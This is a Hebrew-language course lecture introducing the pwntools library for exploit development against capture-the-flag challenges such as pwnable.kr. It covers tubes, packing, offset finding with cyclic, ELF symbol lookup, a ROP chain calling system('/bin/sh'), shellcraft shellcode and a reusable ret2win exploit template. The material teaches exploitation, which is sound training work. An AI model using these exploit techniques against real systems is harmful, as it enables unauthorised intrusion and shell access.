לדלג לתוכן

0.4 מבוא לpwntools הרצאה

עד עכשיו עבדנו הרבה עם GDB, objdump וקצת פייתון גולמי כדי לדבר עם תוכניות. זה עובד, אבל זה מסורבל: לבנות payload ידני עם escape של בתים, לחשב offset-ים במחשבון, ולהעביר הכל דרך pipe זה כאב ראש. בשביל זה קיימת הספרייה pwntools - ארגז הכלים הסטנדרטי של כל חוקר חולשות. היא תלווה אותנו לאורך כל הקורס, מהאתגר הראשון ב-pwnable.kr ועד לexploit heap מודרני. בהרצאה הזו נכיר את החלקים שנשתמש בהם כל יום, ונסיים עם תבנית exploit מלאה שתשרת אתכם שוב ושוב.

הרעיון המרכזי: pwntools לא עושה במקומכם את העבודה החכמה (מציאת החולשה, בניית ROP chain) - היא מוחקת את כל העבודה המשעממת סביבה. אתם חושבים על ההתקפה, היא מטפלת בבתים.


התקנה וייבוא - installation

ההתקנה פשוטה, דרך pip:

python3 -m pip install --upgrade pwntools

בכל סקריפט exploit נתחיל תמיד באותה שורה:

from pwn import *

השורה הזו מייבאת את הכל: את process, remote, p64, cyclic, ELF, ROP, asm, context ועוד עשרות שמות ישר ל-namespace. זה נחשב לפרקטיקה טובה בעולם ה-exploit-ים (בניגוד לקוד ייצור רגיל) כי אנחנו רוצים סקריפט קצר וקריא.


ההקשר הגלובלי - context

לפני שנוגעים בבינארי, מגדירים את ההקשר. האובייקט context הוא הגדרה גלובלית שאומרת ל-pwntools על איזו ארכיטקטורה אנחנו עובדים, ואיך להתנהג. זה קריטי: הפונקציה p64 יודעת לארוז 8 בתים כי היא מכבדת את ה-context, ו-asm יודעת להרכיב קוד x86-64 מאותה סיבה.

context.arch = 'amd64'        # or 'i386' for 32-bit, 'arm', 'aarch64', 'mips'
context.os = 'linux'
context.endian = 'little'
context.log_level = 'info'    # 'debug' prints all traffic, 'error' silences it

הדרך הנוחה ביותר להגדיר את הכל בבת אחת היא פשוט להצביע על הבינארי:

context.binary = ELF('./chall')

השורה הזו טוענת את ה-ELF, ומגדירה אוטומטית את context.arch, context.bits ו-context.os לפי הכותרת של הקובץ. אחרי זה כבר לא צריך לדאוג אם זה 32 או 64 ביט - pwntools יודעת.

הטיפ הכי שימושי בהרצאה הזו: כשמשהו לא עובד, הריצו context.log_level = 'debug'. פתאום תראו hexdump מלא של כל בית שנשלח וכל בית שהתקבל. רוב הבאגים ב-exploit מתגלים ברגע הזה.


צינורות - tubes

צינור (tube) הוא הפשטה של תעבורה דו-כיוונית: משהו שאפשר לשלוח אליו בתים ולקרוא ממנו בתים. שני הצינורות שנשתמש בהם כל הזמן הם תהליך מקומי ותהליך מרוחק, ושניהם חולקים בדיוק את אותו ממשק. זה הקסם: אותו קוד exploit עובד גם על הבינארי שעל הדיסק שלכם וגם על השרת של pwnable.kr, ורק שורה אחת משתנה.

io = process('./chall')            # runs a local binary
io = process(['./chall', 'arg1'])  # with arguments
io = remote('pwnable.kr', 9000)    # connects to a remote server over TCP

שליחה - send

io.send(b'AAAA')          # sends raw bytes, with no addition
io.sendline(b'AAAA')      # sends and adds \n at the end (like Enter)
io.sendafter(b'name: ', b'AAAA')      # reads until 'name: ' then sends
io.sendlineafter(b'> ', b'AAAA')      # same thing, with a newline at the end

שימו לב: כל הקלט והפלט ב-pwntools הם בתים (bytes), לא מחרוזות. תמיד b'...'. אם תשלחו מחרוזת רגילה תקבלו שגיאה, וזה טוב - בעולם של exploit-ים בית הוא בית.

הצמד sendafter ו-sendlineafter הם החברים הכי טובים שלכם. במקום לנחש כמה זמן לחכות, אתם אומרים "חכה עד שהתוכנית תדפיס את ההנחיה הזו, ורק אז שלח". זה מסנכרן את ה-exploit עם התוכנית.

קבלה - recv

data = io.recv(1024)             # reads up to 1024 bytes (whatever is available now)
data = io.recvn(8)               # reads exactly 8 bytes, waits until they arrive
line = io.recvline()             # reads a whole line including the \n
data = io.recvuntil(b'flag{')    # reads until it sees this sequence (including it)
data = io.recvline_contains(b'0x')  # reads lines until one contains '0x'
io.clean()                       # discards everything waiting in the input buffer

הפונקציה recvuntil היא הכלי המרכזי לדלף כתובות. כשתוכנית מדפיסה Your address is: 0x7fff..., נעשה io.recvuntil(b'is: ') ואז נקרא את הכתובת עצמה. עוד מעט נראה איך.

מצב אינטראקטיבי - interactive

בסוף כל exploit מוצלח, כשקיבלנו shell, נעביר את השליטה אלינו:

io.interactive()

מרגע זה הקלדות שלכם עוברות ישר לתהליך, והפלט שלו חוזר אליכם. כאן אתם מקלידים cat flag, id, ls ומקבלים את הדגל.


אריזה ופריקה - packing

הexploit חולשות זה בסופו של דבר לכתוב כתובות לזיכרון. כתובת כמו 0x401156 צריכה להיכתב בזיכרון בסדר little-endian, כלומר הבית הנמוך ראשון. לעשות את זה ביד זה מקור נפוץ לבאגים, אז pwntools נותנת פונקציות:

p64(0x401156)     # -> b'\x56\x11\x40\x00\x00\x00\x00\x00'   (8 bytes)
p32(0x0804a018)   # -> b'\x18\xa0\x04\x08'                     (4 bytes)

ובכיוון ההפוך, כשמדליפים כתובת ורוצים להפוך בתים למספר:

u64(b'\x56\x11\x40\x00\x00\x00\x00\x00')   # -> 0x401156
u32(b'\x18\xa0\x04\x08')                    # -> 0x0804a018

הפונקציה u64 דורשת בדיוק 8 בתים. בפועל, כשמדליפים כתובת מ-libc היא מגיעה לרוב כ-6 בתים משמעותיים ואחריהם שורה חדשה. הניב הסטנדרטי הוא לרפד ל-8 בתים באפסים:

leak = io.recvline().strip()          # 6 bytes of an address
addr = u64(leak.ljust(8, b'\x00'))    # pads to length 8 and unpacks into a number
log.success("leaked address: %#x", addr)

הרכבת payload עם flat

כשבונים payload מורכב - padding, ואז כתובת, ואז עוד כתובת - הפונקציה flat מרכיבה את הכל ומפעילה p64 על כל מספר אוטומטית:

payload = flat(
    b'A' * 72,        # padding up to the return address
    0x401156,         # packed automatically with p64
    0x401080,
)

יש גם צורה נוחה יותר עם מילון, שבה נותנים offset ואומרים מה לכתוב שם. הפערים מתמלאים אוטומטית:

payload = flat({
    72: p64(exe.sym['win']),   # at position 72 we write the address of win
})

זו בדיוק צורת הכתיבה שנשתמש בה ל-ret2win: "מלא זבל עד 72, ואז כתובת".


אובייקט הבינארי - ELF

האובייקט ELF הוא מטמון של כל המידע על הקובץ הבינארי: הסמלים, טבלאות ה-GOT וה-PLT, המקטעים, והכתובות של הכל. במקום להריץ objdump ולהעתיק כתובות ביד, pwntools קוראת אותן בשבילנו:

exe = ELF('./chall')

exe.symbols['win']     # address of the function win  (also exe.sym['win'])
exe.symbols['main']
exe.got['puts']        # the value in the GOT of puts (where the address of puts is stored)
exe.plt['puts']        # the stub in the PLT that calls puts
exe.address            # the base address of the binary
next(exe.search(b'/bin/sh'))   # searches for the string in the binary and returns an address

הפונקציה search מחזירה מחולל (generator) של כל המיקומים שבהם נמצא הרצף. בדרך כלל רוצים את הראשון, ולכן next(...). שימושי מאוד כשמחפשים את המחרוזת /bin/sh בתוך libc.

עבודה עם PIE ו-ASLR

כשהבינארי הוא PIE (מיקום אקראי), כל הכתובות ב-exe.symbols הן יחסיות לבסיס 0. ברגע שמדליפים כתובת אמיתית אחת ומחשבים את הבסיס, פשוט מציבים אותו ב-exe.address וכל הסמלים מתעדכנים אוטומטית:

exe.address = leaked_main - exe.symbols['main']   # computes the real base
target = exe.symbols['win']   # now this is already the real address in memory

בדיוק אותו רעיון עובד עם libc: טוענים libc = ELF('./libc.so.6'), מדליפים כתובת של פונקציה אחת, מציבים libc.address = leak - libc.sym['puts'], ואז libc.sym['system'] ו-next(libc.search(b'/bin/sh')) נותנים לנו את היעדים ל-ret2libc. נחזור לזה לעומק בפרק על עקיפת NX.


מציאת ה-offset עם cyclic

כדי לשלוט בהreturn address צריך לדעת בדיוק כמה בתים מפרידים בין תחילת הbuffer לבין ה-return address. אפשר לספור ביד, אבל זה שביר. הטריק המקצועי הוא רצף דה-ברוין (De Bruijn): מחרוזת שבה כל תת-רצף באורך קבוע מופיע בדיוק פעם אחת. לכן, אם נראה איזה 4 בתים דרסו את ה-RIP, נדע במדויק מאיזה offset הם הגיעו.

cyclic(200)              # -> b'aaaabaaacaaadaaa...' of length 200
cyclic_find(b'kaaa')     # -> 40   (at what offset this sequence starts)
cyclic_find(0x6161616b)  # same thing with a numeric value

זרימת העבודה הטיפוסית: שולחים cyclic(200), נותנים לתוכנית לקרוס, ומסתכלים איזה ערך נחת ב-RIP. את הערך הזה מזינים ל-cyclic_find ומקבלים את ה-offset המדויק. עם pwntools אפשר לעשות את זה אוטומטית דרך core dump:

context.binary = ELF('./chall')

io = process('./chall')
io.sendline(cyclic(200))
io.wait()                        # wait for the crash
core = io.corefile               # pwntools parses the core dump

# in 64-bit: the low bytes of RIP are the cyclic sequence that overwrote it
offset = cyclic_find(pack(core.rip)[:4])
log.info("RIP offset = %d", offset)

הערה חשובה על 64 ביט: כברירת מחדל cyclic בונה רצף שבו כל חלון של 4 בתים ייחודי. הreturn address היא 8 בתים, אבל מספיק להסתכל על 4 הבתים הנמוכים כדי לזהות את ה-offset בוודאות. לכן לוקחים pack(core.rip)[:4]. אם רוצים ייחודיות של חלונות שמונה בתים אפשר cyclic(300, n=8) ובהתאמה cyclic_find(..., n=8).

יש גם כלי שורת פקודה מהיר לאותה מטרה, בלי לכתוב סקריפט:

pwn cyclic 200          # prints the sequence
pwn cyclic -l 0x6161616b  # returns the offset

אובייקט ה-ROP

כשנגיע לפרק ה-ROP נבנה שרשראות של גאדג'טים ביד, אבל pwntools יודעת לעשות הרבה מזה בשבילנו. האובייקט ROP מקבל ELF, סורק אותו לגאדג'טים, ומאפשר לבנות chain בצורה מוצהרת:

rop = ROP(exe)

rop.find_gadget(['ret'])[0]              # finds a 'ret' gadget (useful for alignment)
rop.find_gadget(['pop rdi', 'ret'])      # finds 'pop rdi ; ret'
rop.call('system', [next(exe.search(b'/bin/sh'))])   # builds a call to system("/bin/sh")
rop.raw(0xdeadbeef)                       # pushes a raw value onto the chain

print(rop.dump())    # prints the chain in a readable form - great for debugging
payload = rop.chain()   # returns the chain as ready bytes

יש גם קסם תחבירי: rop.rdi = 0x1234 יגרום ל-pwntools למצוא גאדג'ט pop rdi ולהכניס את הערך, ו-rop.win() יבנה קריאה לפונקציה win. בהתחלה נעדיף לבנות ידני כדי להבין מה קורה, ורק אחר כך ניתן ל-pwntools לקצר לנו את הדרך.


הרכבה ו-shellcode עם asm ו-shellcraft

כשנרצה להזריק shellcode (בפרק על shellcode) נצטרך קוד מכונה. במקום לכתוב בתים ביד, asm מרכיבה אסמבלי, ו-shellcraft מייצרת shellcode מוכן:

context.arch = 'amd64'

asm('mov rax, 59; xor rsi, rsi')     # returns the bytes of the assembly
disasm(b'\x48\x31\xf6')               # the reverse direction: bytes -> readable assembly

shellcode = asm(shellcraft.sh())      # shellcode that runs /bin/sh
shellcode = asm(shellcraft.amd64.linux.sh())   # explicit form

חובה להגדיר context.arch נכון לפני asm או shellcraft, אחרת תקבלו קוד מכונה של הארכיטקטורה הלא נכונה. גם כאן יש כלי שורת פקודה:

pwn shellcraft amd64.linux.sh -r    # generates and runs shellcode for testing
pwn asm 'mov rax, 1'                 # assembles a line of assembly from the terminal
pwn disasm 'b801000000'              # disassembles bytes into assembly

זכרו: shellcode על המחסנית עובד רק כש-NX כבוי. אם NX פעיל (וזה כמעט תמיד המצב היום), נצטרך ROP. נדבר על זה בהרחבה בהמשך.


ניפוי באגים עם GDB

היכולת לצרף מנפה לתהליך שאנחנו תוקפים היא אולי הכלי הכי חשוב לפיתוח exploit. ל-pwntools יש שתי דרכים.

הדרך הראשונה, gdb.attach, מצרפת GDB לתהליך שכבר רץ:

io = process('./chall')
gdb.attach(io, gdbscript='''
b *vuln+42
continue
''')
io.sendline(payload)

הדרך השנייה, gdb.debug, מפעילה את הבינארי מלכתחילה תחת GDB:

io = gdb.debug('./chall', gdbscript='''
b *0x401156
continue
''')

בשני המקרים gdbscript הוא פשוט פקודות GDB רגילות: b לנקודות עצירה, continue, c, וכל מה שאתם מכירים מ-pwndbg. כדי שחלון GDB ייפתח בנפרד צריך להגדיר טרמינל, ובדרך כלל עובדים בתוך tmux:

context.terminal = ['tmux', 'splitw', '-h']   # GDB window on the right side

טיפ לבינארי PIE: אי אפשר לדעת מראש כתובות מוחלטות, אז ב-pwndbg משתמשים ב-b *win (לפי שם) או ב-breakrva 0x1156 שמוסיף את הבסיס האקראי אוטומטית.


תבנית exploit לשימוש חוזר

עכשיו נחבר את הכל. זו התבנית שנשתמש בה כמעט בכל אתגר בקורס. שמרו אותה, היא תחסוך לכם המון זמן:

#!/usr/bin/env python3
from pwn import *

exe = context.binary = ELF('./chall', checksec=False)

host = 'pwnable.kr'
port = 9000

gdbscript = '''
b *main
continue
'''

def start():
    if args.REMOTE:                 # python3 exp.py REMOTE
        return remote(host, port)
    elif args.GDB:                  # python3 exp.py GDB
        return gdb.debug(exe.path, gdbscript=gdbscript)
    else:                           # python3 exp.py  (local)
        return process(exe.path)

io = start()

# ===== the attack =====
offset = 72
payload = flat({
    offset: exe.sym['win'],
})

io.sendlineafter(b'> ', payload)
# ===================

io.interactive()

הקסם כאן הוא באובייקט args. pwntools קוראת ארגומנטים באותיות גדולות משורת הפקודה והופכת אותם ל-args.NAME. כך אותו סקריפט בדיוק רץ בשלושה מצבים:

python3 exp.py          # local, for fast development
python3 exp.py GDB      # local under GDB, for debugging
python3 exp.py REMOTE   # against the real server, when everything works

זרימת העבודה שנחזור עליה שוב ושוב: קודם python3 exp.py כדי שהקריסה תעבוד מקומית, אחר כך python3 exp.py GDB כדי לראות מקרוב מה קורה ב-RSP וב-RIP, ורק כשהכל מושלם - python3 exp.py REMOTE כדי לתפוס את הדגל.


כלי שורת הפקודה של pwn

מעבר לספרייה, ההתקנה מביאה איתה כלי שורת פקודה שימושיים. שווה להכיר:

pwn checksec ./chall           # shows NX / PIE / Canary / RELRO
pwn cyclic 200                 # generates a De Bruijn sequence
pwn cyclic -l 0x6161616b       # finds the offset from a value
pwn template ./chall --host pwnable.kr --port 9000 > exp.py   # generates an exploit skeleton
pwn disasm 'b801000000'        # disassembles bytes into assembly

הפקודה pwn template יוצרת שלד דומה מאוד לתבנית שראינו למעלה, כולל פונקציית start. דרך מצוינת להתחיל אתגר חדש.


סיכום

בהרצאה הזו הכרנו את ארגז הכלים שילווה אותנו לאורך כל הקורס:

  • הגדרת context (ובפרט context.binary ו-context.log_level = 'debug' לדיבוג)
  • צינורות: process, remote, ומשפחת send/sendline/sendafter מול recv/recvline/recvuntil
  • מעבר לשליטה ידנית עם interactive בסוף
  • אריזה ופריקה: p64/u64/p32/u32, וpadding לפני u64
  • הרכבת מטענים עם flat (כולל צורת המילון {offset: value})
  • אובייקט ה-ELF: symbols, got, plt, address, search, ורביסינג עם exe.address
  • מציאת offset עם cyclic ו-cyclic_find דרך core dump
  • יסודות אובייקט ה-ROP
  • הרכבת קוד עם asm, ו-shellcode עם shellcraft
  • ניפוי עם gdb.attach ו-gdb.debug והגדרת נקודות עצירה
  • תבנית exploit לשימוש חוזר עם args לשלושת המצבים

זכרו את העיקרון: pwntools מוחקת את העבודה המשעממת, לא את החשיבה. בתרגול הבא נכתוב סקריפטים אמיתיים מול בינארי echo קטן, נמצא offset עם cyclic, ונְנתב את זרימת התוכנית לכתובת שנבחר.